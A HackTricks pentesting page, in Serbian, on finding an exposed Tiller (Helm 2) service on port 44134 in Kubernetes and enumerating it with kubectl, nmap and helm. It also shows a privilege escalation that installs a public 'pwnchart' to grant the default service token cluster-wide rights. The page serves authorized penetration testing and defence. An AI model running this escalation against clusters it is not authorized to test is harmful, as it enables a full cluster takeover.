hacktricks/network-services-pentesting/44134-pentesting-tiller-helm.md

5.2 KiB

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Osnovne informacije

Helm je menadžer paketa za Kubernetes. Omogućava pakovanje YAML datoteka i distribuciju u javnim i privatnim repozitorijumima. Ovi paketi se nazivaju Helm Charts. Tiller je usluga koja se pokreće podrazumevano na portu 44134 i nudi ovu uslugu.

Podrazumevani port: 44134

PORT      STATE SERVICE VERSION
44134/tcp open  unknown

Enumeration

Ako možete enumerisati podove i/ili servise različitih imenskih prostora, enumerišite ih i tražite one sa "tiller" u njihovom imenu:

kubectl get pods | grep -i "tiller"
kubectl get services | grep -i "tiller"
kubectl get pods -n kube-system | grep -i "tiller"
kubectl get services -n kube-system | grep -i "tiller"
kubectl get pods -n <namespace> | grep -i "tiller"
kubectl get services -n <namespace> | grep -i "tiller"

Primeri:

kubectl get pods -n kube-system
NAME                                       READY   STATUS             RESTARTS   AGE
kube-scheduler-controlplane                1/1     Running            0          35m
tiller-deploy-56b574c76d-l265z             1/1     Running            0          35m

kubectl get services -n kube-system
NAME            TYPE        CLUSTER-IP     EXTERNAL-IP   PORT(S)                  AGE
kube-dns        ClusterIP   10.96.0.10     <none>        53/UDP,53/TCP,9153/TCP   35m
tiller-deploy   ClusterIP   10.98.57.159   <none>        44134/TCP                35m

Možete takođe pokušati da pronađete ovu uslugu koja radi proverom porta 44134:

sudo nmap -sS -p 44134 <IP>

Kada ga otkrijete, možete komunicirati sa njim preuzimanjem klijentske helm aplikacije. Možete koristiti alate kao što su homebrew, ili pogledati stranicu zvaničnih izdanja. Za više detalja, ili za druge opcije, pogledajte vodič za instalaciju.

Zatim, možete enumerisati uslugu:

helm --host tiller-deploy.kube-system:44134 version

Eskalacija privilegija

Po defaultu, Helm2 je instaliran u namespace kube-system sa visokim privilegijama, tako da ako pronađete servis i imate pristup njemu, to bi moglo omogućiti eskalaciju privilegija.

Sve što treba da uradite je da instalirate paket poput ovog: https://github.com/Ruil1n/helm-tiller-pwn koji će dati default service token pristup svemu u celom klasteru.

git clone https://github.com/Ruil1n/helm-tiller-pwn
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
/pwnchart

U http://rui0.cn/archives/1573 imate objašnjenje napada, ali u suštini, ako pročitate datoteke clusterrole.yaml i clusterrolebinding.yaml unutar helm-tiller-pwn/pwnchart/templates/ možete videti kako se sve privilegije dodeljuju podrazumevanom tokenu.

{% hint style="success" %} Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks
{% endhint %}